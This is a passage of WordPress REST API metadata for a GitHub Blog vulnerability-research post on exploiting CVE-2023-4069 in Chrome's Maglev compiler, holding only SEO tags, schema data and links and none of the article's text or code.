More","_gh_post_recirc_hide":"no","_gh_post_recirc_col_1":"gh-auto-select","_gh_post_recirc_col_2":"73570","_gh_post_recirc_col_3":"65303","_gh_post_recirc_col_4":"65316","_featured_video":"","_gh_post_additional_query_params":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"_wpas_customize_per_network":false,"_links_to":"","_links_to_target":""},"categories":[91,3336],"tags":[3146,2956,1915],"coauthors":[2081],"class_list":["post-74790","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","category-vulnerability-research","tag-chrome","tag-exploit-development","tag-github-security-lab"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.3 (Yoast SEO v27.3) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>Getting RCE in Chrome with incomplete object initialization in the Maglev compiler - The GitHub Blog<\/title>\n<meta name=\"description\" content=\"In this post, I&#039;ll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler\" \/>\n<meta property=\"og:description\" content=\"In this post, I&#039;ll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/\" \/>\n<meta property=\"og:site_name\" content=\"The GitHub Blog\" \/>\n<meta property=\"article:published_time\" content=\"2023-10-17T15:00:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-11-16T21:04:49+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"630\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Man Yue Mo\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Man Yue Mo\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/\"},\"author\":{\"name\":\"Man Yue Mo\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\"},\"headline\":\"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler\",\"datePublished\":\"2023-10-17T15:00:55+00:00\",\"dateModified\":\"2023-11-16T21:04:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/\"},\"wordCount\":2589,\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/1200.630-Global@2x-1.png?fit=1200%2C630\",\"keywords\":[\"Chrome\",\"exploit development\",\"GitHub Security Lab\"],\"articleSection\":[\"Security\",\"Vulnerability research\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/\",\"url\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/\",\"name\":\"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler - The GitHub Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/1200.630-Global@2x-1.png?fit=1200%2C630\",\"datePublished\":\"2023-10-17T15:00:55+00:00\",\"dateModified\":\"2023-11-16T21:04:49+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\"},\"description\":\"In this post, I'll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#primaryimage\",\"url\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/1200.630-Global@2x-1.png?fit=1200%2C630\",\"contentUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2023\\\/04\\\/1200.630-Global@2x-1.png?fit=1200%2C630\",\"width\":1200,\"height\":630},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/github.blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Security\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Vulnerability research\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/github.blog\\\/#website\",\"url\":\"https:\\\/\\\/github.blog\\\/\",\"name\":\"The GitHub Blog\",\"description\":\"Updates, ideas, and inspiration from GitHub to help developers build and design software.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/github.blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\",\"name\":\"Man Yue Mo\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g58cb61bd120c032429ede6698f35624c\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g\",\"caption\":\"Man Yue Mo\"},\"url\":\"https:\\\/\\\/github.blog\\\/author\\\/mymo\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler - The GitHub Blog","description":"In this post, I'll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/","og_locale":"en_US","og_type":"article","og_title":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler","og_description":"In this post, I'll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","og_url":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/","og_site_name":"The GitHub Blog","article_published_time":"2023-10-17T15:00:55+00:00","article_modified_time":"2023-11-16T21:04:49+00:00","og_image":[{"width":1200,"height":630,"url":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","type":"image\/png"}],"author":"Man Yue Mo","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Man Yue Mo","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#article","isPartOf":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/"},"author":{"name":"Man Yue Mo","@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1"},"headline":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler","datePublished":"2023-10-17T15:00:55+00:00","dateModified":"2023-11-16T21:04:49+00:00","mainEntityOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/"},"wordCount":2589,"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","keywords":["Chrome","exploit development","GitHub Security Lab"],"articleSection":["Security","Vulnerability research"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/","url":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/","name":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler - The GitHub Blog","isPartOf":{"@id":"https:\/\/github.blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#primaryimage"},"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","datePublished":"2023-10-17T15:00:55+00:00","dateModified":"2023-11-16T21:04:49+00:00","author":{"@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1"},"description":"In this post, I'll exploit CVE-2023-4069, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","breadcrumb":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#primaryimage","url":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","contentUrl":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","width":1200,"height":630},{"@type":"BreadcrumbList","@id":"https:\/\/github.blog\/security\/vulnerability-research\/getting-rce-in-chrome-with-incomplete-object-initialization-in-the-maglev-compiler\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/github.blog\/"},{"@type":"ListItem","position":2,"name":"Security","item":"https:\/\/github.blog\/security\/"},{"@type":"ListItem","position":3,"name":"Vulnerability research","item":"https:\/\/github.blog\/security\/vulnerability-research\/"},{"@type":"ListItem","position":4,"name":"Getting RCE in Chrome with incomplete object initialization in the Maglev compiler"}]},{"@type":"WebSite","@id":"https:\/\/github.blog\/#website","url":"https:\/\/github.blog\/","name":"The GitHub Blog","description":"Updates, ideas, and inspiration from GitHub to help developers build and design software.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/github.blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1","name":"Man Yue Mo","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g58cb61bd120c032429ede6698f35624c","url":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g","caption":"Man Yue Mo"},"url":"https:\/\/github.blog\/author\/mymo\/"}]}},"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/github.blog\/wp-content\/uploads\/2023\/04\/1200.630-Global@2x-1.png?fit=1200%2C630","jetpack_shortlink":"https:\/\/wp.me\/pamS32-jsi","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/74790","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/users\/1878"}],"replies":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/comments?post=74790"}],"version-history":[{"count":8,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/74790\/revisions"}],"predecessor-version":[{"id":74806,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/74790\/revisions\/74806"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media\/71202"}],"wp:attachment":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media?parent=74790"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/categories?post=74790"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/tags?post=74790"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/coauthors?post=74790"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}